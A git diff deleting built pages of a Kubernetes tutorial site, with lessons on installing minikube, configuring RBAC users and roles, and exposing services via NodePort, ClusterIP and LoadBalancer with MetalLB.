- - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/pre-requisit-for-this-lab/index.html b/public/k8s/pre-requisit-for-this-lab/index.html deleted file mode 100644 index a681d05..0000000 --- a/public/k8s/pre-requisit-for-this-lab/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - -Pre-requisit for this lab · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Pre-requisit for this lab

-
-
- - -

Install Minikube

-
https://minikube.sigs.k8s.io/docs/start/
-// i'm using mac so my installation step will be diffeent from you folks 
-
-curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64
-sudo install minikube-darwin-amd64 /usr/local/bin/minikube
-

ceate cluster using minikube

-
➜  k8sworkshop git:(main) ✗ minikube start    
-😄  minikube v1.28.0 on Darwin 13.2.1 (arm64)
-✨  Using the docker driver based on existing profile
-👍  Starting control plane node minikube in cluster minikube
-🚜  Pulling base image ...
-🔄  Restarting existing docker container for "minikube" ...
-🐳  Preparing Kubernetes v1.25.3 on Docker 20.10.20 ...
-🔎  Verifying Kubernetes components...
-    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
-🌟  Enabled addons: storage-provisioner, default-storageclass
-🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
-

check it out cluster information

-

-➜  k8sworkshop git:(main) ✗ kubectl cluster-info                                                                                   
-Kubernetes control plane is running at https://127.0.0.1:51289
-CoreDNS is running at https://127.0.0.1:51289/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
-
-To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
-➜  k8sworkshop git:(main) ✗ 
-

some basic commands to understand minikube

-
minikube start
-

Access the Kubernetes dashboard running within the minikube cluster:

-
minikube dashboard
-

Once started, you can interact with your cluster using kubectl, just like any other Kubernetes cluster. For instance, starting a server:

-
kubectl create deployment hello-minikube --image=kicbase/echo-server:1.0
-

Exposing a service as a NodePort

-
kubectl expose deployment hello-minikube --type=NodePort --port=8080
-

minikube makes it easy to open this exposed endpoint in your browser:

-
minikube service hello-minikube
-

Upgrade your cluster:

-
minikube start --kubernetes-version=latest
-
minikube start -p cluster2
-

Stop your local cluster:

-
minikube stop
-

Delete your local cluster:

-
minikube delete
-

Delete all local clusters and profiles

-
minikube delete --all
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/rbac/index.html b/public/k8s/rbac/index.html deleted file mode 100644 index 03ab69d..0000000 --- a/public/k8s/rbac/index.html +++ /dev/null @@ -1,696 +0,0 @@ - - - - - - - - -RBAC · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

RBAC

-
-
- - -

Role Based Access Control (RBAC)

-

Role-Based Access Control (RBAC) in Kubernetes is a method of regulating access to computer or network resources based on the roles of individual users within an enterprise. In the context of Kubernetes, RBAC allows you to control who has access to the Kubernetes API and what they can do with those resources

-
- Rules: A rule is a set of operations (verbs) that can be carried out on a group of resources which belong to different API Groups.
-
-
kubectl explain role.rules
-
```
- kubectl explain role.rules     
-
-

GROUP: rbac.authorization.k8s.io -KIND: Role -VERSION: v1

-

FIELD: rules <[]PolicyRule>

-

DESCRIPTION: -Rules holds all the PolicyRules for this Role -PolicyRule holds information that describes a policy rule, but does not -contain information about who the rule applies to or which namespace the -rule applies to.

-

FIELDS: -apiGroups <[]string> -APIGroups is the name of the APIGroup that contains the resources. If -multiple API groups are specified, any action requested against one of the -enumerated resources in any API group will be allowed. "" represents the -core API group and “*” represents all API groups.

-

nonResourceURLs <[]string> -NonResourceURLs is a set of partial urls that a user should have access to. -*s are allowed, but only as the full, final step in the path Since -non-resource URLs are not namespaced, this field is only applicable for -ClusterRoles referenced from a ClusterRoleBinding. Rules can either apply to -API resources (such as “pods” or “secrets”) or non-resource URL paths (such -as “/api”), but not both.

-

resourceNames <[]string> -ResourceNames is an optional white list of names that the rule applies to. -An empty set means that everything is allowed.

-

resources <[]string> -Resources is a list of resources this rule applies to. ‘*’ represents all -resources.

-

verbs <[]string> -required- -Verbs is a list of Verbs that apply to ALL the ResourceKinds contained in -this rule. ‘*’ represents all verbs.

-
```
-
-- Roles and ClusterRoles: Both consist of rules. The difference between a Role and a ClusterRole is the scope: in a Role, the rules are applicable to a single namespace, whereas a ClusterRole is cluster-wide, so the rules are applicable to more than one namespace. ClusterRoles can define rules for cluster-scoped resources (such as nodes) as well. Both Roles and ClusterRoles are mapped as API Resources inside our cluster.
-
-
kubectl explain role
-
```
-
-

kubernetesdaily.github.io git:(main) ✗ kubectl explain role
-GROUP: rbac.authorization.k8s.io -KIND: Role -VERSION: v1

-

DESCRIPTION: -Role is a namespaced, logical grouping of PolicyRules that can be referenced -as a unit by a RoleBinding.

-

FIELDS: -apiVersion -APIVersion defines the versioned schema of this representation of an object. -Servers should convert recognized schemas to the latest internal value, and -may reject unrecognized values. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources

-

kind -Kind is a string value representing the REST resource this object -represents. Servers may infer this from the endpoint the client submits -requests to. Cannot be updated. In CamelCase. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds

-

metadata -Standard object’s metadata.

-

rules <[]PolicyRule> -Rules holds all the PolicyRules for this Role

-
```
-
-
kubectl explain clusterroles
-
kubernetesdaily.github.io git:(main) ✗ kubectl explain clusterroles
-GROUP:      rbac.authorization.k8s.io
-KIND:       ClusterRole
-VERSION:    v1
-
-DESCRIPTION:
-    ClusterRole is a cluster level, logical grouping of PolicyRules that can be
-    referenced as a unit by a RoleBinding or ClusterRoleBinding.
-    
-FIELDS:
-  aggregationRule       <AggregationRule>
-    AggregationRule is an optional field that describes how to build the Rules
-    for this ClusterRole. If AggregationRule is set, then the Rules are
-    controller managed and direct changes to Rules will be stomped by the
-    controller.
-
-  apiVersion    <string>
-    APIVersion defines the versioned schema of this representation of an object.
-    Servers should convert recognized schemas to the latest internal value, and
-    may reject unrecognized values. More info:
-    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
-
-  kind  <string>
-    Kind is a string value representing the REST resource this object
-    represents. Servers may infer this from the endpoint the client submits
-    requests to. Cannot be updated. In CamelCase. More info:
-    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
-
-  metadata      <ObjectMeta>
-    Standard object's metadata.
-
-  rules <[]PolicyRule>
-    Rules holds all the PolicyRules for this ClusterRole
-
- Subjects: These correspond to the entity that attempts an operation in the cluster. There are three types of subjects:
-
-- User Accounts: These are global, and meant for humans or processes living outside the cluster. There is no associated resource API Object in the Kubernetes cluster.
-
-- Service Accounts: This kind of account is namespaced and meant for intra-cluster processes running inside pods, which want to authenticate against the API.
-
-- Groups: This is used for referring to multiple accounts. There are some groups created by default such as cluster-admin (explained in later sections).
-
-- RoleBindings and ClusterRoleBindings: Just as the names imply, these bind subjects to roles (i.e. the operations a given user can perform). As for Roles and ClusterRoles, the difference lies in the scope: a RoleBinding will make the rules effective inside a namespace, whereas a ClusterRoleBinding will make the rules effective in all namespaces.
-
-

kubectl explain rolebinding

-
```
-✗ kubectl explain rolebindings
-
-

GROUP: rbac.authorization.k8s.io -KIND: RoleBinding -VERSION: v1

-

DESCRIPTION: -RoleBinding references a role, but does not contain it. It can reference a -Role in the same namespace or a ClusterRole in the global namespace. It adds -who information via Subjects and namespace information by which namespace it -exists in. RoleBindings in a given namespace only have effect in that -namespace.

-

FIELDS: -apiVersion -APIVersion defines the versioned schema of this representation of an object. -Servers should convert recognized schemas to the latest internal value, and -may reject unrecognized values. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources

-

kind -Kind is a string value representing the REST resource this object -represents. Servers may infer this from the endpoint the client submits -requests to. Cannot be updated. In CamelCase. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds

-

metadata -Standard object’s metadata.

-

roleRef -required- -RoleRef can reference a Role in the current namespace or a ClusterRole in -the global namespace. If the RoleRef cannot be resolved, the Authorizer must -return an error. This field is immutable.

-

subjects <[]Subject> -Subjects holds references to the objects the role applies to.

-
#### kubectl explain clusterrolebindings
-

kubectl explain clusterrolebindings -GROUP: rbac.authorization.k8s.io -KIND: ClusterRoleBinding -VERSION: v1

-

DESCRIPTION: -ClusterRoleBinding references a ClusterRole, but not contain it. It can -reference a ClusterRole in the global namespace, and adds who information -via Subject.

-

FIELDS: -apiVersion -APIVersion defines the versioned schema of this representation of an object. -Servers should convert recognized schemas to the latest internal value, and -may reject unrecognized values. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources

-

kind -Kind is a string value representing the REST resource this object -represents. Servers may infer this from the endpoint the client submits -requests to. Cannot be updated. In CamelCase. More info: -https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds

-

metadata -Standard object’s metadata.

-

roleRef -required- -RoleRef can only reference a ClusterRole in the global namespace. If the -RoleRef cannot be resolved, the Authorizer must return an error. This field -is immutable.

-

subjects <[]Subject> -Subjects holds references to the objects the role applies to.

-

-With Minikube, you can experiment with RBAC in a local Kubernetes setup. Minikube comes with RBAC enabled by default if you start it with a Kubernetes version that supports RBAC
-

✗ minikube start -😄 minikube v1.30.1 on Darwin 14.1.1 (arm64) -🎉 minikube 1.32.0 is available! Download it: https://github.com/kubernetes/minikube/releases/tag/v1.32.0 -💡 To disable this notice, run: ‘minikube config set WantUpdateNotification false’

-

✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image … -🔄 Restarting existing docker container for “minikube” … -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 … -🔗 Configuring Flannel (Container Networking Interface) … -🌟 Enabled addons: -🔎 Verifying Kubernetes components… -👍 Starting worker node minikube-m02 in cluster minikube -🚜 Pulling base image … -🔄 Restarting existing docker container for “minikube-m02” … -🌐 Found network options: -▪ NO_PROXY=192.168.49.2 -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 … -▪ env NO_PROXY=192.168.49.2 -🔎 Verifying Kubernetes components… -🏄 Done! kubectl is now configured to use “minikube” cluster and “default” namespace by default

-

-#### Create new namespace 
-
-Execute the kubectl create command to create the namespace (as the admin user):
-    
-

kubernetesdaily.github.io git:(main) ✗ kubectl create namespace kubedaily -namespace/kubedaily created

-

-#### Create the user credentials
-
-genarete the user credentials using openssl command 
-

openssl genrsa -out kubedaily.key 2048 -Generating RSA private key, 2048 bit long modulus -……………………………………………………….+++++ -…………………………………………………………………..+++++ -e is 65537 (0x10001)

-
Create a certificate sign request  using openssl command 
-

kubernetesdaily.github.io git:(main) ✗ openssl req -new -key kubedaily.key -out kubedaily.csr -subj “/CN=kubedaily/O=sangam”

-
 
-

➜ .minikube ls -addons ca.pem certs key.pem machine_client.lock proxy-client-ca.crt -ca.crt cache config last_update_check machines proxy-client-ca.key -ca.key cert.pem files logs profiles tunnels.json

-

kubernetesdaily.github.io git:(main) ✗ kubectl config set-credentials kubedaily –client-certificate=/.certs/kubedaily.crt –client-key=/.certs/kubedaily.key -User “kubedaily” set. -kubectl config set-context kubedaily-context –cluster=minikube –namespace=kubedaily –user=sangam

-
Now you should get an access denied error when using the kubectl CLI with this configuration file. This is expected as we have not defined any permitted operations for this user.
-

kubectl –context=kubedaily-context get pods

-

-####  Create the role for managing deployments
-

kind: Role -apiVersion: rbac.authorization.k8s.io/v1 -metadata: -namespace: kubedaily -name: sangam -rules:

-
    -
  • apiGroups: ["", “extensions”, “apps”] -resources: [“deployments”, “replicasets”, “pods”] -verbs: [“get”, “list”, “watch”, “create”, “update”, “patch”, “delete”] # You can also use ["*"]
  • -
-

-#### Create the role binding
-

kind: RoleBinding -apiVersion: rbac.authorization.k8s.io/v1 -metadata: -name: sangam-binding -namespace: kubedaily -subjects:

-
    -
  • kind: User -name: sangam -apiGroup: "" -roleRef: -kind: Role -name: sangam -apiGroup: ""
  • -
-

➜ kubernetesdaily.github.io git:(main) ✗ kubectl create -f rolebinding-deployment-manager.yaml -rolebinding.rbac.authorization.k8s.io/sangam-binding created

-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/service-type-nodeportclusteriploadbalancer/index.html b/public/k8s/service-type-nodeportclusteriploadbalancer/index.html deleted file mode 100644 index 542a521..0000000 --- a/public/k8s/service-type-nodeportclusteriploadbalancer/index.html +++ /dev/null @@ -1,783 +0,0 @@ - - - - - - - - -Service Type - NodePort,ClusterIP,LoadBalancer · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Service Type - NodePort,ClusterIP,LoadBalancer

-
-
- - -

Service Type1: NodePort

-

NodePort service helps expose the Service on each Node’s IP at a static port (the NodePort). NodePort The port is available to all the workers in the cluster. A ClusterIP Service, to which the NodePort Service routes are automatically created. One would be able to contact the NodePort Service, from outside the cluster, by requesting :. -The port on the POD is called the targetPort and the one connecting the NodePort service to the POD is called port. -All this means if any request coming into port 30080 to the cluster on any worker node will be forwarded to the “Node Port Service,” which in turn will forward the request to the underlying Pod at port 80.

-

Let’s start with creating a deployment using the YAML file below. Some key things to note, each container is using the port 80 and has a label called app:nginx

-
apiVersion: apps/v1
-kind: Deployment
-metadata:
-    name: my-nginx-deploy
-    labels:
-        app: nginx
-spec:
-    replicas: 2
-    selector:
-        matchLabels:
-            app: nginx
-    template:
-        metadata:
-            labels:
-                app: nginx
-        spec:
-            containers:
-            - name: test-nginx
-              image: nginx:alpine
-              ports:
-              - containerPort: 80
-
➜  k8s101 git:(main) ✗ kubectl apply -f my-nginx-deploy.yml
-deployment.apps/my-nginx-deploy created
-➜  k8s101 git:(main) ✗ kubectl get pods
-NAME                               READY   STATUS    RESTARTS   AGE
-my-nginx-deploy-5c9989fcf4-pqpgj       1/1     Running   0          17s
-my-nginx-deploy-5c9989fcf4-zkq8p       1/1     Running   0          17s
-
➜  k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-pqpgj  | grep -i IP: | head -1
-IP:               172.17.0.22
-
-➜  k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-zkq8p  | grep -i IP: | head -1
-IP:               172.17.0.15
-
kubectl get pods
-NAME                               READY   STATUS    RESTARTS   AGE
-my-nginx-deploy-6b5d6b54bc-7pbmk   1/1     Running   0          7m47s
-my-nginx-deploy-6b5d6b54bc-glhnt   1/1     Running   0          7m47s
-
➜  k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-pqpgj  | grep -i IP: | head -1
-IP:               172.17.0.22
-➜  k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-zkq8p  | grep -i IP: | head -1
-IP:               172.17.0.15
-➜  k8s101 git:(main) ✗ kubectl exec my-nginx-deploy-5c9989fcf4-pqpgj -it sh  
-kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
-/ # apk add curl
-fetch https://dl-cdn.alpinelinux.org/alpine/v3.17/main/aarch64/APKINDEX.tar.gz
-fetch https://dl-cdn.alpinelinux.org/alpine/v3.17/community/aarch64/APKINDEX.tar.gz
-OK: 43 MiB in 62 packages
-/ # curl http://172.17.0.22:80
-<!DOCTYPE html>
-<html>
-<head>
-<title>Welcome to nginx!</title>
-<style>
-html { color-scheme: light dark; }
-body { width: 35em; margin: 0 auto;
-font-family: Tahoma, Verdana, Arial, sans-serif; }
-</style>
-</head>
-<body>
-<h1>Welcome to nginx!</h1>
-<p>If you see this page, the nginx web server is successfully installed and
-working. Further configuration is required.</p>
-
-<p>For online documentation and support please refer to
-<a href="http://nginx.org/">nginx.org</a>.<br/>
-Commercial support is available at
-<a href="http://nginx.com/">nginx.com</a>.</p>
-
-<p><em>Thank you for using nginx.</em></p>
-</body>
-</html>
-/ # exit 
-

So how do we reach the PODs externally? -To reach the pods from outside the cluster, one needs to expose the port on the host machine to redirect the traffic to a port of the container. NodePort Service provides that capability.

-
apiVersion: v1
-kind: Service
-metadata:
-  name: my-service
-spec:
-  type: NodePort
-  selector:
-    app: nginx
-  ports:
-      # By default the `targetPort` is set to the same value as the `port` field.
-    - port: 80
-      targetPort: 80
-      # Optional field
-      # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767)
-      nodePort: 30007
-
kubectl apply -f nodeport.yml
-service/my-service created
-kubectl get svc
-NAME         TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)        AGE
-my-service   NodePort    10.110.8.243   <none>        80:30007/TCP   12m
-

NodePort service created has a virtual IP (10.110.8.243) assigned to it called ClusterIp, using which it can be accessed internally. To access the service, since we are using minikube, let’s see where the service is hosted for external usage.

-
  k8s101 git:(main) ✗ minikube service my-service          
-|-----------|------------|-------------|---------------------------|
-| NAMESPACE |    NAME    | TARGET PORT |            URL            |
-|-----------|------------|-------------|---------------------------|
-| default   | my-service |          80 | http://192.168.49.2:30007 |
-|-----------|------------|-------------|---------------------------|
-🏃  Starting tunnel for service my-service.
-|-----------|------------|-------------|------------------------|
-| NAMESPACE |    NAME    | TARGET PORT |          URL           |
-|-----------|------------|-------------|------------------------|
-| default   | my-service |             | http://127.0.0.1:61723 |
-|-----------|------------|-------------|------------------------|
-🎉  Opening service default/my-service in default browser...
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureClusterIPNodePortLoadBalancer
ExpositionExposes the Service on an internal IP in the cluster.Exposing services to external clientsExposing services to external clients
ClusterThis type makes the Service only reachable from within the clusterA NodePort service, each cluster node opens a port on the node itself (hence the name) and redirects traffic received on that port to the underlying service.A LoadBalancer service accessible through a dedicated load balancer, provisioned from the cloud infrastructure Kubernetes is running on
AccessibilityIt is default service and Internal clients send requests to a stable internal IP address.The service is accessible at the internal cluster IP-port, and also through a dedicated port on all nodes.Clients connect to the service through the load balancer’s IP.
Yaml Configtype: ClusterIP type: NodePorttype: LoadBalancer
Port RangeAny public ip form Cluster30000 - 32767Any public ip form Cluster
User CasesFor internal communicationBest for testing public or private access or providing access for a small amount of time.widely used For External communication
-

ClusterIP

-

ClusterIP is the default ServiceType and it creates a single IP address that can be used to access its Pods which can only be accessed from inside the cluster. If KubeDNS is enabled it will also get a series of DNS records assigned to it include an A record to match its IP. This is very useful for exposing microservices running inside the same Kubernetes cluster to each other.

-
kubectl run hello --image=paulczar/hello-world
-deployment "hello" created
-
kubectl expose deployment hello --port=8080 --type=ClusterIP
-service "hello" exposed
-$ kubectl run -i --tty --rm debug --image=alpine \
-  --restart=Never -- wget -qO - hello:8080
-<html><head><title>hello world</title></head><body>hello world!</body></html>
-$ kubectl delete service hello
-service "hello" deleted
-

Since KubeDNS is enabled in minikube by default you can access the service via DNS using the name of the service.

-

NodePort

-

NodePort builds on top of ClusterIP to create a mapping from each Worker Node’s static IP on a specified (or Kubernetes chosen) Port. A Service exposed as a NodePort can be accessed via :. This ServiceType can be useful when developing applications with minikube or for exposing a specific Port to an application via an unmanaged load balancer or round robin DNS.

-
$ kubectl expose deployment hello --port=8080 --type=NodePort
-service "hello" exposed
-$ kubectl get service hello
-NAME      TYPE       CLUSTER-IP   EXTERNAL-IP   PORT(S)          AGE
-hello     NodePort   10.0.0.231   <none>        8080:30259/TCP   21s
-$ minikube ip
-192.168.99.100
-$ curl 192.168.99.100:30259
-<html><head><title>hello world</title></head><body>hello world!</body></html>
-$ kubectl delete service hello
-service "hello" deleted
-

LoadBalancer

-

LoadBalancer builds on top of NodePort and is used to automatically configure a supported external Load Balancer (for instance an ELB in Amazon) to route traffic through to the NodePort of the Service. This is the most versatile of the ServiceTypes but requires that you have a supported Load Balancer in your infrastructure of which most major cloud providers have. -In minikube this would produce the same result as a NodePort as minikube does not have a load balancer. However we can demonstrate it on Google Cloud quite easily if you have an account:

-
$ kubectl run hello --image=paulczar/hello-world
-deployment "hello" created
-$ kubectl expose deployment hello --port=8080 --type=LoadBalancer
-service "hello" exposed
-$ kubectl get service 
-NAME         TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)          AGE
-hello        LoadBalancer   10.11.251.34   35.192.25.113   8080:32107/TCP   2m
-$ curl 35.192.25.113:8080
-<html><head><title>hello world</title></head><body>hello world!</body></html>
-
➜  k8s101 git:(main) ✗ minikube addons list
-|-----------------------------|----------|--------------|--------------------------------|
-|         ADDON NAME          | PROFILE  |    STATUS    |           MAINTAINER           |
-|-----------------------------|----------|--------------|--------------------------------|
-| ambassador                  | minikube | disabled     | 3rd party (Ambassador)         |
-| auto-pause                  | minikube | disabled     | Google                         |
-| cloud-spanner               | minikube | disabled     | Google                         |
-| csi-hostpath-driver         | minikube | disabled     | Kubernetes                     |
-| dashboard                   | minikube | enabled ✅   | Kubernetes                     |
-| default-storageclass        | minikube | enabled ✅   | Kubernetes                     |
-| efk                         | minikube | disabled     | 3rd party (Elastic)            |
-| freshpod                    | minikube | disabled     | Google                         |
-| gcp-auth                    | minikube | disabled     | Google                         |
-| gvisor                      | minikube | disabled     | Google                         |
-| headlamp                    | minikube | disabled     | 3rd party (kinvolk.io)         |
-| helm-tiller                 | minikube | disabled     | 3rd party (Helm)               |
-| inaccel                     | minikube | disabled     | 3rd party (InAccel             |
-|                             |          |              | [info@inaccel.com])            |
-| ingress                     | minikube | disabled     | Kubernetes                     |
-| ingress-dns                 | minikube | disabled     | Google                         |
-| istio                       | minikube | disabled     | 3rd party (Istio)              |
-| istio-provisioner           | minikube | disabled     | 3rd party (Istio)              |
-| kong                        | minikube | disabled     | 3rd party (Kong HQ)            |
-| kubevirt                    | minikube | disabled     | 3rd party (KubeVirt)           |
-| logviewer                   | minikube | disabled     | 3rd party (unknown)            |
-| metallb                     | minikube | disabled     | 3rd party (MetalLB)            |
-| metrics-server              | minikube | enabled ✅   | Kubernetes                     |
-| nvidia-driver-installer     | minikube | disabled     | Google                         |
-| nvidia-gpu-device-plugin    | minikube | disabled     | 3rd party (Nvidia)             |
-| olm                         | minikube | disabled     | 3rd party (Operator Framework) |
-| pod-security-policy         | minikube | disabled     | 3rd party (unknown)            |
-| portainer                   | minikube | disabled     | 3rd party (Portainer.io)       |
-| registry                    | minikube | disabled     | Google                         |
-| registry-aliases            | minikube | disabled     | 3rd party (unknown)            |
-| registry-creds              | minikube | disabled     | 3rd party (UPMC Enterprises)   |
-| storage-provisioner         | minikube | enabled ✅   | Google                         |
-| storage-provisioner-gluster | minikube | disabled     | 3rd party (Gluster)            |
-| volumesnapshots             | minikube | disabled     | Kubernetes                     |
-|-----------------------------|----------|--------------|--------------------------------|
-💡  To see addons list for other profiles use: `minikube addons -p name list`
-➜  k8s101 git:(main) ✗ minikube addons enable metallb 
-❗  metallb is a 3rd party addon and is not maintained or verified by minikube maintainers, enable at your own risk.
-❗  metallb does not currently have an associated maintainer.
-    ▪ Using image docker.io/metallb/speaker:v0.9.6
-    ▪ Using image docker.io/metallb/controller:v0.9.6
-🌟  The 'metallb' addon is enabled
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main) ✗ kubectl get ns
-NAME                   STATUS   AGE
-default                Active   116d
-kube-node-lease        Active   116d
-kube-public            Active   116d
-kube-system            Active   116d
-kubernetes-dashboard   Active   46h
-metallb-system         Active   155m
-➜  k8s101 git:(main) ✗ kubectl get all -n metallb-system
-NAME                              READY   STATUS    RESTARTS   AGE
-pod/controller-55496b5cd7-p4k6g   1/1     Running   0          155m
-pod/speaker-8l8kb                 1/1     Running   0          155m
-
-NAME                     DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR                 AGE
-daemonset.apps/speaker   1         1         1       1            1           beta.kubernetes.io/os=linux   155m
-
-NAME                         READY   UP-TO-DATE   AVAILABLE   AGE
-deployment.apps/controller   1/1     1            1           155m
-
-NAME                                    DESIRED   CURRENT   READY   AGE
-replicaset.apps/controller-55496b5cd7   1         1         1       155m
-
➜  k8s101 git:(main) ✗ minikube ip
-192.168.49.2
-➜  k8s101 git:(main) ✗  minikube addons configure metallb
--- Enter Load Balancer Start IP:  192.168.49.100
--- Enter Load Balancer End IP: 192.168.49.120
-    ▪ Using image docker.io/metallb/controller:v0.9.6
-    ▪ Using image docker.io/metallb/speaker:v0.9.6
-✅  metallb was successfully configured
-➜  k8s101 git:(main) ✗ 
-

create ngnix deployment via Loadbalancer

-
apiVersion: v1
-kind: Service
-metadata:
-  name: nginx-svc
-spec:
-  selector:
-    app: nginx
-  ports:
-  - protocol: TCP
-    port: 80
-    targetPort: 80
-  type: LoadBalancer
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: nginx-deployment
-  labels:
-    app: nginx
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: nginx
-  template:
-    metadata:
-      labels:
-        app: nginx
-    spec:
-      containers:
-      - name: nginx
-        image: nginx:1.14.2
-        ports:
-        - containerPort: 80
-
➜  k8s101 git:(main) ✗ kubectl apply -f ngnix-metallb.yaml 
-service/nginx-svc created
-deployment.apps/nginx-deployment created
-
-➜  k8s101 git:(main) ✗ kubectl get po,svc  
-NAME                                       READY   STATUS    RESTARTS   AGE
-pod/2048-deployment-9ccbf58bd-57tng        1/1     Running   0          6h18m
-pod/2048-deployment-9ccbf58bd-78pnr        1/1     Running   0          6h18m
-pod/2048-deployment-9ccbf58bd-mbfrt        1/1     Running   0          6h18m
-pod/2048-deployment-9ccbf58bd-tfcnd        1/1     Running   0          6h18m
-pod/2048-deployment-9ccbf58bd-trxqw        1/1     Running   0          6h18m
-pod/kube-ops-view-5b596b7c7d-z2p2v         1/1     Running   0          13h
-pod/kube-ops-view-redis-6dc75f67cd-klhpf   1/1     Running   0          13h
-pod/lab-nginx-84756b7fc4-4qctt             1/1     Running   0          13h
-pod/lab-nginx-84756b7fc4-rhg4m             1/1     Running   0          13h
-pod/label-nginx-example-5f8bc677b9-6trt6   1/1     Running   0          13h
-pod/my-nginx-deploy-5c9989fcf4-pqpgj       1/1     Running   0          4h23m
-pod/my-nginx-deploy-5c9989fcf4-zkq8p       1/1     Running   0          4h23m
-pod/my-release-kubeview-f7447cf6c-2w85w    1/1     Running   0          13h
-pod/nginx-1-ff5997cdf-kpff9                1/1     Running   0          13h
-pod/nginx-deployment-7fb96c846b-cm296      1/1     Running   0          80s
-pod/nginx-lab-1-84756b7fc4-77kvz           1/1     Running   0          13h
-pod/nginx-lab-1-84756b7fc4-r9cmt           1/1     Running   0          13h
-pod/nginx-lab-1-84756b7fc4-sqbf4           1/1     Running   0          13h
-
-NAME                 TYPE           CLUSTER-IP       EXTERNAL-IP      PORT(S)        AGE
-service/kubernetes   ClusterIP      10.96.0.1        <none>           443/TCP        6h46m
-service/my-service   NodePort       10.103.55.123    <none>           80:30007/TCP   3h22m
-service/myservice    NodePort       10.111.94.141    <none>           80:31487/TCP   6h18m
-service/nginx-svc    LoadBalancer   10.104.216.130   192.168.49.100   80:31150/TCP   80s
-➜  k8s101 git:(main) ✗ 
-
k8s101 git:(main) ✗ minikube tunnel
-✅  Tunnel successfully started
-
-📌  NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ...
-
-❗  The service/ingress nginx-svc requires privileged ports to be exposed: [80]
-🔑  sudo permission will be asked for it.
-🏃  Starting tunnel for service nginx-svc.
-¸^C✋  Stopped tunnel for service nginx-svc.
-

open localhost on 80 port

-

localhost:80

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/manifest.json b/public/manifest.json deleted file mode 100644 index 301744c..0000000 --- a/public/manifest.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "short_name": "Docura", - "name": "Docura", - "description": "A modular Hugo theme to build your next documentation site.", - "start_url": "/?source=pwa", - "display": "standalone", - "icons": [ - { - "src": "/img/icon/icon-192.png", - "type": "image/png", - "sizes": "192x192" - }, - { - "src": "/img/icon/icon-512.png", - "type": "image/png", - "sizes": "512x512" - }, - { - "src": "/img/icon/maskable-icon-192.png", - "type": "image/png", - "sizes": "192x192", - "purpose": "maskable" - }, - { - "src": "/img/icon/maskable-icon-512.png", - "type": "image/png", - "sizes": "512x512", - "purpose": "maskable" - }, - { - "src": "/img/icon/icon-vector.svg", - "type": "image/svg+xml", - "sizes": "512x512" - } - ] -} \ No newline at end of file diff --git a/public/pdf/linux-history.pdf b/public/pdf/linux-history.pdf deleted file mode 100644 index bcc03f9..0000000 Binary files a/public/pdf/linux-history.pdf and /dev/null differ diff --git a/public/scss/base.css b/public/scss/base.css deleted file mode 100644 index 230c42c..0000000 --- a/public/scss/base.css +++ /dev/null @@ -1,7 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol 